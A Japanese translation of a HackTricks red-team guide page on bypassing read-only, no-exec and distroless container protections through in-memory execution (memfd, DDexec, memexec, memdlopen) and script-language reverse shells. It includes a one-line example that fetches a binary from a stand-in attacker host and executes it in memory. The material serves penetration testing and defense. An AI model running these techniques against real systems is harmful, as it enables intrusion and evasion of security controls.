FS保護のバイパス: 読み取り専用 / 実行不可 / Distroless
Reading time: 11 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
動画
以下の動画では、このページで言及されている技術がより詳しく説明されています:
読み取り専用 / 実行不可シナリオ
Linuxマシンが読み取り専用(ro)ファイルシステム保護でマウントされていることがますます一般的になっています。特にコンテナでは、**readOnlyRootFilesystem: true
**をsecuritycontext
に設定するだけでroファイルシステムでコンテナを実行することができます:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
しかし、ファイルシステムがroとしてマウントされていても、/dev/shm
は書き込み可能であるため、ディスクに何も書き込めないというのは偽りです。ただし、このフォルダは実行不可保護でマウントされるため、ここにバイナリをダウンロードしても実行することはできません。
warning
レッドチームの観点から見ると、これはシステムに既に存在しないバイナリ(バックドアやkubectl
のような列挙ツール)をダウンロードして実行することを複雑にします。
最も簡単なバイパス: スクリプト
バイナリについて言及したことに注意してください。インタープリタがマシン内にある限り、任意のスクリプトを実行することができます。例えば、sh
が存在する場合はシェルスクリプト、python
がインストールされている場合はPythonスクリプトです。
しかし、これはあなたのバイナリバックドアや他のバイナリツールを実行するには十分ではありません。
メモリバイパス
バイナリを実行したいがファイルシステムがそれを許可していない場合、最良の方法はメモリから実行することです。なぜなら、保護はそこには適用されないからです。
FD + execシステムコールバイパス
マシン内にPython、Perl、またはRubyのような強力なスクリプトエンジンがある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタ(create_memfd
システムコール)に保存することができます。これはこれらの保護によって保護されず、次に**exec
システムコールを呼び出して実行するファイルとしてfdを指定**します。
これには、プロジェクトfileless-elf-execを簡単に使用できます。バイナリを渡すと、バイナリが圧縮され、b64エンコードされ、create_memfd
システムコールを呼び出して作成されたfdでデコードおよび解凍するための指示を含むスクリプトが生成されます。
warning
これはPHPやNodeのような他のスクリプト言語では機能しません。なぜなら、スクリプトから生のシステムコールを呼び出すデフォルトの方法がないからです。したがって、バイナリを保存するためのメモリfdを作成するためにcreate_memfd
を呼び出すことはできません。
さらに、/dev/shm
内のファイルで通常のfdを作成しても機能しません。なぜなら、実行不可保護が適用されるため、実行することは許可されないからです。
DDexec / EverythingExec
DDexec / EverythingExecは、自分のプロセスのメモリを変更することを可能にする技術です。これはその**/proc/self/mem
**を上書きすることによって行われます。
したがって、プロセスによって実行されているアセンブリコードを制御することができ、シェルコードを書き込み、プロセスを「変異」させて任意のコードを実行することができます。
tip
DDexec / EverythingExecを使用すると、メモリから自分のシェルコードや任意のバイナリをロードして実行することができます。
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
この技術に関する詳細は、Githubを確認するか、次を参照してください:
MemExec
Memexecは、DDexecの自然な次のステップです。これはDDexecシェルコードのデーモン化であり、異なるバイナリを実行したいときにDDexecを再起動する必要はなく、DDexec技術を介してmemexecシェルコードを実行し、その後このデーモンと通信して新しいバイナリを読み込んで実行することができます。
memexecを使用してPHPリバースシェルからバイナリを実行する方法の例は、https://github.com/arget13/memexec/blob/main/a.phpで見つけることができます。
Memdlopen
DDexecと同様の目的を持つmemdlopen技術は、メモリにバイナリを読み込むより簡単な方法を提供します。依存関係を持つバイナリを読み込むことさえ可能です。
Distroless Bypass
Distrolessとは
Distrolessコンテナは、特定のアプリケーションやサービスを実行するために必要な最小限のコンポーネントのみを含み、ライブラリやランタイム依存関係などを含みますが、パッケージマネージャー、シェル、システムユーティリティなどの大きなコンポーネントは除外されます。
Distrolessコンテナの目的は、不要なコンポーネントを排除することによってコンテナの攻撃面を減少させ、悪用可能な脆弱性の数を最小限に抑えることです。
リバースシェル
Distrolessコンテナでは、通常のシェルを取得するためのsh
やbash
が見つからないかもしれません。また、ls
、whoami
、id
などのバイナリも見つかりません... システムで通常実行するすべてのものです。
warning
したがって、リバースシェルを取得したり、通常のようにシステムを列挙したりすることはできません。
ただし、侵害されたコンテナが例えばflaskウェブを実行している場合、pythonがインストールされているため、Pythonリバースシェルを取得できます。nodeを実行している場合はNodeリバースシェルを取得でき、ほとんどのスクリプト言語でも同様です。
tip
スクリプト言語を使用することで、言語の機能を利用してシステムを列挙することができます。
read-only/no-exec
保護がない場合、リバースシェルを悪用してファイルシステムにバイナリを書き込み、実行することができます。
tip
ただし、この種のコンテナでは通常これらの保護が存在しますが、以前のメモリ実行技術を使用してそれらを回避することができます。
RCE脆弱性を悪用してスクリプト言語のリバースシェルを取得し、メモリからバイナリを実行する方法の例**は、https://github.com/carlospolop/DistrolessRCEで見つけることができます。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。